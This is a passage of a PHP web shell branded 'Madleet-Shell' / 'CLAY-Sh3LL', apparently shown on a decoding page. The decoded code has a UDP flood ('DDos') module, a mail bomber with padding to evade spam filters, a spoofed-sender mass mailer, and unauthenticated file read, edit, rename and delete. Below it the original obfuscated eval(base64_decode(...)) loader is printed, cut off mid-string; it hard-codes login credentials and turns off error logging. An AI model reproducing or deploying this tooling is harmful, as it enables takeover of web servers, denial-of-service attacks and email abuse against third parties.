                        <input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/> 
                    </td> 
                    <td> 
                        x 
                    </td> 
                    <td width="20"> 
                        <input style="width: 30px;" class="cmd" name="messageMultiplier" value="10" /> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form> 
        <?php 
    } 
} 


//DDos 

else if(isset($_GET[\'dos\'])) 
{ 
    if(isset($_GET[\'ip\']) && 
    isset($_GET[\'exTime\']) && 
    isset($_GET[\'port\']) && 
    isset($_GET[\'timeout\']) && 
    isset($_GET[\'exTime\']) && 
    $_GET[\'exTime\'] != "" && 
    $_GET[\'port\'] != "" && 
    $_GET[\'ip\'] != "" && 
    $_GET[\'timeout\'] != "" && 
    $_GET[\'exTime\'] != "" 
    ) 
    { 
       $IP=$_GET[\'ip\']; 
       $port=$_GET[\'port\']; 
       $executionTime = $_GET[\'exTime\']; 
       $noOfBytes = $_GET[\'noOfBytes\']; 
       $data = ""; 
       $timeout = $_GET[\'timeout\']; 
       $packets = 0; 
       $counter = $noOfBytes; 
       $maxTime = time() + $executionTime;; 
       while($counter--) 
       { 
            $data .= "X"; 
       } 
       $data .= "-by-Madleet-Shell";  
       print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>"; 
        
       while(1) 
       { 
            $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout); 
            if($socket) 
            { 
                fwrite($socket , $data); 
                fclose($socket); 
                $packets++; 
            } 
            if(time() >= $maxTime) 
            { 
                break; 
            } 
        } 
        echo "<script>alert(\'DDos Completed!\');</script>"; 
        echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />"; 
        echo "Total Number of Packets Sent : " . $packets . "<br />"; 
        echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";  
        echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />"; 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="dos" /> 
            <table id="margins"> 
                <tr> 
                    <td width="400" class="title"> 
                        IP 
                    </td> 
                    <td> 
                        <input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Port 
                    </td> 
                    <td> 
                        <input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Timeout <font color="red">(Time in seconds)</font> 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="timeout" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';" /> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td class="title"> 
                        Execution Time <font color="red">(Time in seconds)</font>  
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="exTime" value="10" onfocus="if(this.value == \'10\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'10\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        No of Bytes per/packet 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="noOfBytes" value="999999" onfocus="if(this.value == \'999999\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'999999\';"/> 
                    </td> 
                </tr> 
                 

                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form> 
        <?php 
    } 
} 

// Mail Bomber 

else if(isset($_GET[\'bomb\'])) 
{ 
    if( 
        isset($_GET[\'to\']) && 
        isset($_GET[\'subject\']) && 
        isset($_GET[\'message\']) && 
        isset($_GET[\'times\']) && 
        $_GET[\'to\'] != \'\' && 
        $_GET[\'subject\'] != \'\' && 
        $_GET[\'message\'] != \'\' && 
        $_GET[\'times\'] != \'\' 
    ) 
    { 
        $times = $_GET[\'times\']; 
        while($times--) 
        { 
            if(isset($_GET[\'padding\'])) 
            { 
                $fromPadd = rand(0,9999); 
                $subjectPadd = " -- ID : ".rand(0,9999999); 
                $messagePadd = "

------------------------------
".rand(0,99999999); 
                 
            } 
            $from = "[email protected]"; 
            if(!mail($_GET[\'to\'],$_GET[\'subject\'].$subjectPadd,$_GET[\'message\'].$messagePadd,"From:".$from)) 
            { 
                $error = 1; 
                echo "<p class=\'alert\'>Some Error Occured!</p>"; 
                break; 
            } 
        } 
        if($error != 1) 
        { 
            echo "<p class=\'alert\'>Mail(s) Sent!</p>"; 
        } 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="bomb" /> 
            <table id="margins"> 
                <tr> 
                    <td class="title"> 
                        To  
                    </td> 
                    <td> 
                        <input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Subject 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
                    </td> 
                </tr> 
                 <tr> 
                    <td class="title"> 
                        No. of Times   
                    </td> 
                    <td> 
                        <input class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';"/> 
                    </td> 
                </tr> 
        
                <tr> 
                    <td> 
                         
                        Pad your message (Less spam detection) 
                         
                    </td> 
                    <td> 
                     
                        <input type="checkbox" name="padding"/> 
                           
                    </td> 
                </tr> 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">Madleet-Shell Rocks!!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form>    
        <?php 
    } 
} 


//Mass Mailer 

else if(isset($_GET[\'mail\'])) 
{ 
    if( 
        isset($_GET[\'to\']) && 
        isset($_GET[\'from\']) && 
        isset($_GET[\'subject\']) && 
        isset($_GET[\'message\']) 
    ) 
    { 

        if(mail($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'message\'],"From:".$_GET[\'from\'])) 
        { 
            echo "<p class=\'alert\'>Mail Sent!</p>"; 
        } 
        else 
        { 
            echo "<p class=\'alert\'>Some Error Occured!</p>"; 
        } 
    } 
    else 
    { 
        ?> 
        <form method="GET"> 
            <input type="hidden" name="mail" /> 
            <table id="margins"> 
                <tr> 
                    <td width="100" class="title"> 
                        From 
                    </td> 
                    <td> 
                        <input class="cmd" name="from" value="[email protected]" onfocus="if(this.value == \'[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        To  
                    </td> 
                    <td> 
                        <input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/> 
                    </td> 
                </tr> 
                 
                <tr> 
                    <td class="title"> 
                        Subject 
                    </td> 
                    <td> 
                        <input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td colspan="2"> 
                        <textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea> 
                    </td> 
                </tr> 
                 
                 
                <tr> 
                    <td rowspan="2"> 
                        <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/> 
                    </td> 
                </tr> 
            </table>             
        </form>    
        <?php 
    } 
} 


// Edit File 

else if(isset($_POST[\'file\']) && 
        isset($_POST[\'content\']) ) 
{ 
    if(is_dir($_POST[\'file\'])) 
    { 
        header("location:".$self."?dir=".$_POST[\'file\']); 
    } 
    if(file_exists($_POST[\'file\'])) 
    { 
        $handle = fopen($_POST[\'file\'],"w"); 
        fwrite($handle,$_POST[\'content\']); 
        echo "Your changes were Successfully Saved!"; 
    } 
    else 
    { 
        echo "<p class=\'alert\'>File Name Specified does not exists!</p>"; 
    } 
} 

// PHP decoder 

else if(isset($_GET[\'decode\'])) 
{ 
    $content = ""; 
    if(isset($_POST[\'content\'])) 
    { 
        $content = htmlspecialchars(gzinflate(base64_decode($_POST[\'content\'])));        
    } 
    ?> 
    <form method="POST"> 
     <textarea name="content" rows="20" cols="100" class="cmd"><?php echo $content;?></textarea><br /> 
        <input name="save" type="Submit" value="Decode" class="own" id="spacing"/> 
    </form> 
    <?php 
} 

//open file 

else if(isset($_GET[\'open\'])) 
{ 
    ?> 
        <form method="POST" action="<?php echo $self;?>" > 
        <table> 
            <tr> 
                <td>File </td><td> : </td><td><input value="<?php echo $_GET[\'open\'];?>" class="cmd" name="file" /></td> 
            </tr> 
            <tr> 
                <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET[\'open\']);?>" class="cmd" /></td>  
            </tr> 
        </table> 
        <textarea name="content" rows="20" cols="100" class="cmd"><?php 
        $content = htmlspecialchars(file_get_contents($_GET[\'open\'])); 
        if($content) 
        { 
            echo $content; 
        } 
        else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\')) 
        { 
            fopen($_GET[\'open\']); 
            while(!feof()) 
            { 
                echo htmlspecialchars(fgets($_GET[\'open\'])); 
            } 
        } 

        ?> 
        </textarea><br /> 
        <input name="save" type="Submit" value="Save Changes" class="own" id="spacing"/> 
        </form> 
    <?php 
} 

//Rename 

else if(isset($_GET[\'rename\'])) 
{ 
    if(isset($_GET[\'to\']) && isset($_GET[\'rename\'])) 
    { 
        if(rename($_GET[\'rename\'],$_GET[\'to\']) == FALSE) 
        { 
            ?> 
            <big><p class="blink">Cant rename the file specified! Please check the file-name , Permissions and try again!</p></big> 
            <?php 
        } 
        else 
        { 
            ?> 
            <big><p class="blink">File Renamed , Return <a href="<?php echo $self;?>">Here</a></p></big> 
            <?php 
        } 
    } 
    else 
    { 
?> 
    <form method="GET" action="<?php echo $self;?>" > 
        <table> 
            <tr> 
                <td>File </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="rename" /></td> 
            </tr> 
            <tr> 
                <td>To </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="to" /></td>  
            </tr> 
        </table> 
        <input type="Submit" value="Rename :D" class="own" style="margin-left: 160px;padding: 5px;"/> 
        </form>    
    <?php 
    } 
} 


// No request made 
// Display home page 

else 
{ 
    $dir = getcwd(); 
    if(isset($_GET[\'dir\'])) 
    { 
        $dir = $_GET[\'dir\']; 
    } 
    ?> 
    <table id="margins"> 
    <tr> 
        <form method="GET"  action="<?php echo $self;?>"> 
        <td width="100">PWD</td><td width="410"><input name="dir" class="cmd" id="mainInput" value="<?php echo $dir;?>"/></td> 
        <td><input type="submit" value="G0!!" class="own" /></td> 
        </form> 
    </tr> 
    </table> 
     
    <table id="margins" class="files"> 
    <tr> 
        <th class="header" width="500px">Name</th> 
        <th width="100px" class="header">Size</th> 
        <th width="100px" class="header">Permissions</th> 
        <th width="100px" class="header">Delete</th> 
        <th width="100px" class="header">Rename</th> 
    </tr> 
    <?php 
     
    if(isset($_GET[\'delete\'])) 
    { 
        if(unlink(($_GET[\'delete\'])) == FALSE) 
        { 
            echo "<p id=\'margins\' style=\'color:red;\'>Could Not Delete the file Specified!</p>"; 
        } 
    } 
    if(is_dir($dir)) 
    { 
        $handle = opendir($dir); 
        if($handle != FALSE) 
        { 
        if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;} 
        while (false !== ($file = readdir($handle))) { 
                if ($file != "." && $file != "..") 
        { 
                //echo $file; 
                //f its a directory 
                if(is_dir($dir.$file)) 
                { 
                    ?> 
                    <tr> 
                    <td class=\'dir\'><a href=\'<?php echo $self ?>?dir=<?php echo $dir.$file ?>\'>/<?php echo $file ?></a></td> 
                    <td class=\'info\'>DIR</td> 
                    <td class=\'info\'>DIR</td> 
                    <td></td> 
                    <font color="white"><td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td> 
                    </tr> 
                <?php 
                } 
                //Its a file  
                else 
                { 
                    ?> 
                    <tr> 
                    <td class=\'file\'><a href=\'<?php echo $self ?>?open=<?php echo $dir.$file ?>\'><?php echo $file ?></a></td> 
                    <td class=\'info\'><?php echo HumanReadableFilesize(filesize($dir.$file));?></td> 
                    <td class=\'info\'><?php echo getFilePermissions($dir.$file);?></td> 
                    <td class="info"><a href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>">Delete</a></td> 
                    <td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td> 
                    </tr> </font>
                    <?php 
                } 
            } 
        } 
        closedir($handle); 
        } 
    } 
    else 
    { 
        echo "<p class=\'alert\' id=\'margins\'>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></p>"; 
    } 
    ?> 
    </table> 
    <?php 
   
} 
//------------------------------------------------------------------------------------------------ 
?> 

<?php 
} 
// End Shell 
//------------------------------------------------------------------------------------------------- 
?> 
<br /><br /><br /><br /> 

<div class="end"> 
<p align="center"><font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px">Coded By WhoAmi @ <font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px"><a href="" target="_blank" style="color: #00FFFF">[ Click Here ]</font><br>
</font>
<br><br>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:30px"><span></span>[email protected]<script data-cfhash=\'f9e31\' type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("data-cfhash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}t.parentNode.removeChild(t);}}catch(u){}}()/* ]]> */</script></font><br><br>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="http://clayteam.zubihosting.com/" target="_blank" style="color: lime">CLaY - TeaM </font><br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://www.facebook.com/clayteamwhoami" target="_blank" style="color: lime">Official Page</font><br>
</script>
</p> 
</div> 
</body> 
</html>'

Did this file decode correctly?

Original Code

<?php
eval("?>".base64_decode("PD9waHAgDQoNCiR1c2VyID0gIkNMQVlURUFNIjsgDQokcGFzcyA9ICJ4aGFjazNyeCI7IA0KDQplcnJvcl9yZXBvcnRpbmcoMCk7IA0KaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgDQoNCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTb21lIGhlYWRlciBGdW5jdGlvbnMgKE5lZWQgdG8gYmUgb24gdG9wKSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cIA0KDQovKioqKioqKioqKioqKioqKiBEZWZpbmVzICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCiRsb2NrID0gIm9uIjsgLy8gc2V0IHRoaXMgdG8gb2ZmIGlmIHlvdSBkb250IG5lZWQgdGhlIGxvZ2luIHBhZ2UgDQokdHJhY2ViYWNrRmVhdHVyZSA9ICJvbiI7IC8vIHNldCB0aGlzIGZlYXR1cmUgdG8gZW5hYmxlIGVtYWlsIGFsZXJ0cyANCiRvd25lckVtYWlsID0gIlNweW5lVC5PZmZpY2llbGxAZ21haWwuY29tIjsgLy8gQ2hhbmdlIHRoaXMgdG8geW91ciBlbWFpbCAsIFRoaXMgZW1haWwgaXMgdXNlZCB0byBkZWxpdmVyIHRyYWNlYmFja3MgYWJvdXQgeW91ciBzaGVsbCANCiR1cmwgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgPyAiaHR0cHM6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddIDogImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyANCiRwaHBWZXJzaW9uPXBocHZlcnNpb24oKTsgDQokc2VsZj0kX1NFUlZFUlsiUEhQX1NFTEYiXTsgLy8gV2hlcmUgYW0gaSANCiRzbSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgDQokU0VQQVJBVE9SID0gJy8nOyAvLyBEZWZhdWx0IERpcmVjdG9yeSBzZXBhcmF0b3IgDQokb3MgPSAiTi9EIjsgDQppZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIA0KeyANCiAgICAgICAgJFNFUEFSQVRPUiA9ICdcXCc7IA0KICAgICAgICAkb3MgPSAiV2luZG93cyI7IA0KfSANCmVsc2UgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiTGludXgiKSkgDQp7IA0KICAgICAgICAkb3MgPSAiTGludXgiOyANCn0gDQoNCg0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLyANCg0KLy8gLS0tLS0tLS0tLS0tLS0gVHJhY2ViYWNrIEZ1bmN0aW9ucyANCg0KZnVuY3Rpb24gc2VuZExvZ2luQWxlcnQoKSANCnsgDQogICAgZ2xvYmFsICRvd25lckVtYWlsOyANCiAgICBnbG9iYWwgJHVybDsgDQogICAgJGFjY2VzZWRJcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyANCiAgICAkcmFuZG9tSW50ID0gcmFuZCgwLDEwMDAwMDApOyAgICAgICAgICAgIyB0byBhdm9pZCBpZCBibG9ja2luZyANCiAgICAkZnJvbSA9ICJDTEFZLVNoM0xMJHJhbmRvbUludEBmYmkuZ292IjsgIA0KICAgICANCiAgICAvL2VjaG8gJGZyb207IA0KICAgICANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkgDQogICAgeyANCiAgICAgICAgJHN1YmplY3QgPSAiU2hlbGwgQWNjZXNzZWQgLS0gQ0xBWS1TaDNMTCAtLSI7IA0KICAgICAgICAkbWVzc2FnZSA9ICIgDQpIZXkgT3duZXIgLCANCiAgICAgICAgIA0KICAgICAgICBZb3VyIFNoZWxsKE1hZGxlZXQtU2hlbGwpIGxvY2F0ZWQgYXQgJHVybCB3YXMgYWNjZXNzZWQgYnkgJGFjY2VzZWRJcCANCiAgICAgICAgIA0KICAgICAgICBJZiBpdHMgbm90IHlvdSA6LSANCiAgICAgICAgIA0KICAgICAgICAxLiBQbGVhc2UgY2hlY2sgaWYgdGhlIHNoZWxsIGlzIHNlY3VyZWQuIA0KICAgICAgICAyLiBDaGFuZ2UgeW91ciB1c2VyIG5hbWUgYW5kIFBhc3N3b3JkLiANCiAgICAgICAgMy4gQ2hlY2sgaWYgbG9jayBpcyAwbiEgDQogICAgICAgIGFuZCBLaWNrIHRoYXQgKioqKioqIG91dCEgDQogICAgICAgICANCiAgICAgICAgVGhhbmtpbmcgWW91IA0KICAgICAgICAgDQpZb3VycyBGYWl0aGZ1bGx5IA0KQ0xBWS1TaDNMTA0KICAgICAgICAiOyANCiAgICAgICAgbWFpbCgkb3duZXJFbWFpbCwkc3ViamVjdCwkbWVzc2FnZSwnRnJvbTonLiRmcm9tKTsgDQogICAgfSANCn0gDQoNCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2Vzc2lvbl9zdGFydCcpICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICBzZXNzaW9uX3N0YXJ0KCk7IA0KfSANCmVsc2UgDQp7IA0KICAgIC8vIFRoZSBsb2NrIHdpbGwgYmUgc2V0IHRvICdvZmYnIGlmIHRoZSBzZXNzaW9uX3N0YXJ0IGZ1Y3Rpb24gaXMgZGlzYWJsZWQgaS5lIGlmIHNlc3Npb25zIGFyZSBub3Qgc3VwcG9ydGVkICANCiAgICAkbG9jayA9ICdvZmYnOyANCn0gDQoNCi8vbG9nb3V0IA0KDQppZihpc3NldCgkX0dFVFsnbG9nb3V0J10pICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDA7IA0KICAgIHNlc3Npb25fZGVzdHJveSgpOyANCiAgICBoZWFkZXIoImxvY2F0aW9uOiAiLiRfU0VSVkVSWydQSFBfU0VMRiddKTsgDQp9IA0KDQppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyANCg0KDQoNCi8qKioqKioqKioqKioqKioqKiBSZXN0b3JpbmcgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCg0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOyANCmluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsgDQppbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsgDQppbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7IA0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyANCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKSANCnsgDQogICAgaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgIC8vIE5vIGFsYXJtaW5nIGxvZ3MgDQogICAgaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7ICAgIC8vIE5vIGxvZ2dpbmcgb2YgZXJyb3JzIA0KICAgIGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7ICAvLyBFbmFibGUgZmlsZSB1cGxvYWRzIA0KICAgIGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7ICAgLy8gYWxsb3cgdXJsIGZvcGVuICANCn0gDQoNCmVsc2UgDQp7IA0KICAgIGluaV9hbHRlcignZXJyb3JfbG9nJyxOVUxMKTsgDQogICAgaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgDQogICAgaW5pX2FsdGVyKCdmaWxlX3VwbG9hZHMnLDEpOyANCiAgICBpbmlfYWx0ZXIoJ2FsbG93X3VybF9mb3BlbicsMSk7IA0KfSANCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCg0KDQo/PiANCjxodG1sPiANCjxoZWFkPiANCjx0aXRsZT4iQ0xBWS1TaDNMTCIgfCBXaG9BbWkgfCBUdW5pc2lhPC90aXRsZT4gDQoNCg0KPHN0eWxlPiANCg0KLyogDQo9PT09PT09PT09PT09PT09PT09PT09PT09PSAgICAgDQogICAgQ1NTIFNlY3Rpb24gDQo9PT09PT09PT09PT09PT09PT09PT09PT09PSANCiovIA0KDQoqeyANCiAgICBwYWRkaW5nOjA7IA0KICAgIG1hcmdpbjowOyANCn0gDQoNCi5hbGVydCANCnsgDQogICAgYmFja2dyb3VuZDpyZWQ7IA0KICAgIGNvbG9yOndoaXRlOyANCiAgICBmb250LXdlaWdodDpib2xkOyANCn0gDQp0ZC5pbmZvIA0KeyANCiAgICB3aWR0aDowcHg7IA0KfSANCg0KLmJpbmQgIA0KeyANCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyANCiAgICBtYXJnaW46IDE1cHggYXV0byAwOyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmRpdi5lbmQgKiANCnsgDQogICAgZm9udC1zaXplOnNtYWxsOyANCn0gDQoNCmRpdi5lbmQgIA0KeyANCiAgICB3aWR0aDoxMDAlOyANCiAgICBiYWNrZ3JvdW5kOiMyMjI7IA0KfSANCg0KcC5ibGluayANCnsgDQogICAgdGV4dC1kZWNvcmF0aW9uOiBibGluazsgDQp9IA0KDQpib2R5ICANCnsgDQogICAgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgDQogICAgY29sb3I6cmdiKDM1LDE4MiwzOSk7IA0KICAgIGZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmlucHV0Lm93biB7IA0KICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDQ4NDg7IA0KICAgIGNvbG9yOiB3aGl0ZTsgDQogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IA0KfSANCg0KYmxvY2txdW90ZS5zbWFsbCANCnsgDQogICAgZm9udC1zaXplOiBzbWFsbGVyOyANCiAgICBjb2xvcjogc2lsdmVyOyANCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IA0KfSANCg0KdGFibGUuZmlsZXMgDQp7IA0KICAgIGJvcmRlci1zcGFjaW5nOiAxMHB4OyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmgxIHsgDQogICAgcGFkZGluZzogNHB4OyANCiAgICBwYWRkaW5nLWJvdHRvbTogMHB4OyANCiAgICBtYXJnaW4tcmlnaHQgOiA1cHg7IA0KfSANCmRpdi5sb2dvIA0KeyANCiAgICBib3JkZXItcmlnaHQ6IDFweCAjMTlkMGQwOyANCn0gDQpkaXYuaGVhZGVyIA0KeyANCiAgICBwYWRkaW5nLWxlZnQ6IDVweDsgDQogICAgZm9udC1zaXplOiBzbWFsbDsgDQogICAgdGV4dC1hbGlnbjogbGVmdDsgDQp9IA0KZGl2Lm5hdiANCnsgDQogICAgbWFyZ2luLXRvcDoxcHg7IA0KICAgIGhlaWdodDozMHB4OyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkYwMDAwOyANCn0gDQpkaXYubmF2IHVsIA0KeyANCiAgICBsaXN0LXN0eWxlOiBub25lOyANCiAgICBwYWRkaW5nOiA0cHg7IA0KfSANCmRpdi5uYXYgbGkgDQp7IA0KICAgIGZsb2F0OiBsZWZ0OyANCiAgICBtYXJnaW4tcmlnaHQ6IDEwcHg7IA0KICAgIHRleHQtYWxpZ246Y2VudGVyOyANCn0gDQp0ZXh0YXJlYS5jbWQgDQp7IA0KICAgIGJvcmRlciA6IDFweCBzb2xpZCAjMTExOyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yIDogIzAwNDg0ODsgDQogICAgZm9udC1mYW1pbHk6IFNoZWxsOyANCiAgICBjb2xvciA6IHdoaXRlOyANCiAgICBtYXJnaW4tdG9wOiAxMHB4OyANCiAgICBmb250LXNpemU6c21hbGw7IA0KfSANCg0KaW5wdXQuY21kIA0KeyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyANCiAgICBjb2xvcjogd2hpdGU7IA0KICAgIHdpZHRoOiA0MDBweDsgDQogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IA0KDQp9IA0KdGQubWFpbnRleHQgDQp7IA0KICAgIGZvbnQtc2l6ZTogbGFyZ2U7IA0KfSANCiNtYXJnaW5zIA0KeyANCiAgICBtYXJnaW4tbGVmdDogMTBweDsgDQogICAgbWFyZ2luLXRvcDogMTBweDsgDQogICAgY29sb3I6d2hpdGU7IA0KfSANCnRhYmxlLnRvcCANCnsgDQogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IA0KICAgIHdpZHRoOiAxMDAlOyANCn0gDQojYm9yZGVycyANCnsgDQogICAgYm9yZGVyLXRvcCA6IDFweCAjMTZmNjAxOyANCiAgICBib3JkZXItbGVmdDoxcHggIzE2ZjYwMTsgDQogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IA0KICAgIGJvcmRlci1yaWdodDogMXB4ICMxNmY2MDE7IA0KICAgIG1hcmdpbi1ib3R0b206MDsgDQp9IA0KdGQuZmlsZSBhICwgLmZpbGUgYSANCnsgDQogICAgY29sb3IgOiBhcXVhOyANCiAgICB0ZXh0LWRlY29yYXRpb246bm9uZTsgDQp9IA0KYS5kaXIgDQp7IA0KICAgIGNvbG9yOndoaXRlOyANCiAgICBmb250LXdlaWdodDpib2xkOyANCiAgI